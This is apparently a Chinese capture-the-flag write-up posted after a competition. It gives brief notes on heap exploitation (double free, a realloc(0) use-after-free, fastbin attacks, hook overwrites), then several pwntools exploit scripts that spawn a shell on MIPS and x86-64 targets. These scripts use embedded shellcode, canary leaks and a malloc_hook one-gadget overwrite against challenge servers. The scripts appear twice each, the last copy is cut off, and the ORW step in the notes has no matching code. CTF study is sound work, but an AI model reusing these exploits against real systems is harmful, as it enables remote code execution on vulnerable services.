比赛刚刚结束，把wp放出来
在stack布置fake chunk，然后利用double free劫持stack，覆盖返回地址执行shellcode
编辑功能时，realloc(0)后指针为清空，造成UAF
利用残留指针泄露libc heap地址
然后利用realloc造成uaf 从而构成double free
在chunk中布置fake_chunk利用fastbin atk指过去，从而造成堆块重叠能够任意地址读写
然后修改free_hook为setcontext+53进行ORW
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context(arch='mips', os='linux', endian='little', word_size=32)
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.remote = ('121.36.166.138', 8893)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(idx,content='\n'):
sla('ice\n',1)
sla('\n',idx)
sa('\n',content)
def delete(idx):
sla('ice\n',2)
sla('n',idx)
def edit(content):
sla('ice\n',3)
sa('\n',content)
rs('remote')
shellcode = '\x69\x6e\x02\x3c\x2f\x62\x42\x34\0\0\xa2\xaf\x68\0\x02\x3c\x2f\x73\x42\x34\x04\0\xa2\xaf\0\0\xa4\x27\xab\x0f\x02\x24\0\0\x05\x24\0\0\x06\x24\x0c\0\0\0'
system = 0x3fcb4 + 0xf66cd000
bin_sh = 0x157d6c + 0xf66cd000
sla('o!\n',shellcode)
ru('0x')
stack = int(r(8),16)
edit('e'*0x21)
canary=u32(ru("\n",drop=False)[-4:-1].rjust(4,"\x00"))
edit(p32(0)*7+p32(0x41)+p32(canary))
add(1,'\n')
add(2,'\n')
delete(1)
delete(2)
delete(1)
add(4,p32(stack+0x20))
add(5,'\n')
add(6,'\n')
add(7,p32(canary)+p32(0)+p32(stack+0x34)+shellcode)
sla('ice',4)
irt()
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context(arch='mips', os='linux', endian='little', word_size=32)
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.remote = ('121.36.166.138', 8893)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(idx,content='\n'):
sla('ice\n',1)
sla('\n',idx)
sa('\n',content)
def delete(idx):
sla('ice\n',2)
sla('n',idx)
def edit(content):
sla('ice\n',3)
sa('\n',content)
rs('remote')
shellcode = '\x69\x6e\x02\x3c\x2f\x62\x42\x34\0\0\xa2\xaf\x68\0\x02\x3c\x2f\x73\x42\x34\x04\0\xa2\xaf\0\0\xa4\x27\xab\x0f\x02\x24\0\0\x05\x24\0\0\x06\x24\x0c\0\0\0'
system = 0x3fcb4 + 0xf66cd000
bin_sh = 0x157d6c + 0xf66cd000
sla('o!\n',shellcode)
ru('0x')
stack = int(r(8),16)
edit('e'*0x21)
canary=u32(ru("\n",drop=False)[-4:-1].rjust(4,"\x00"))
edit(p32(0)*7+p32(0x41)+p32(canary))
add(1,'\n')
add(2,'\n')
delete(1)
delete(2)
delete(1)
add(4,p32(stack+0x20))
add(5,'\n')
add(6,'\n')
add(7,p32(canary)+p32(0)+p32(stack+0x34)+shellcode)
sla('ice',4)
irt()
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.29-0ubuntu2_amd64'
ctx.remote = ('119.3.89.93', 8015)
ctx.debug_remote_libc = True
ctx.symbols = {
'node':0x4040,
}
ctx.breakpoints = [0x17D6]
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(idx,size,content='\n'):
sla('ice',1)
sla('index',idx)
sla('size',size)
sa('content',content)
def delete(idx):
sla('ice',3)
sla('index',idx)
def show(idx):
sla('ice',4)
sla('index',idx)
def edit(idx,size,content='\n'):
sla('ice',2)
sla('index',idx)
sla('size',size)
if size != 0:
sa('content',content)
rs('remote')
add(0,0x10)
add(2,0x10)
add(3,0x10)
delete(3)
edit(0,0)
show(0)
heap_base = uu64(ru('\n',drop=True)[-6:]) - 0x2c0
lg('heap_base',heap_base)
for i in range(7):
add(10+i,0x10)
for i in range(7):
delete(10+i)
edit(2,0)
edit(2,0x10,p64(heap_base+0x250))
add(4,0x10)
add(5,0x10)
sla('ice',666)
ru('gift: ')
libc_base = int(r(14),16) - 0x264140
one = libc_base + 0x106ef8
malloc_hook = libc_base+ 0x1e4c30
sla('string: ','aaa')
for i in range(8):
add(20+i,0x5f)
for i in range(7):
delete(20+i)
edit(27,0)
edit(27,0x5f,p64(malloc_hook-0x23))
dbg()
add(30,0x5f)
add(31,0x5f,'\0'*0x13+p64(one))
irt()
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.custom_lib_dir = '/home/iddm/glibc-all-in-one/libs/2.29-0ubuntu2_amd64'
ctx.remote = ('119.3.89.93', 8015)
ctx.debug_remote_libc = True
ctx.symbols = {
'node':0x4040,
}
ctx.breakpoints = [0x17D6]
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def add(idx,size,content='\n'):
sla('ice',1)
sla('index',idx)
sla('size',size)
sa('content',content)
def delete(idx):
sla('ice',3)
sla('index',idx)
def show(idx):
sla('ice',4)
sla('index',idx)
def edit(idx,size,content='\n'):
sla('ice',2)
sla('index',idx)
sla('size',size)
if size != 0:
sa('content',content)
rs('remote')
add(0,0x10)
add(2,0x10)
add(3,0x10)
delete(3)
edit(0,0)
show(0)
heap_base = uu64(ru('\n',drop=True)[-6:]) - 0x2c0
lg('heap_base',heap_base)
for i in range(7):
add(10+i,0x10)
for i in range(7):
delete(10+i)
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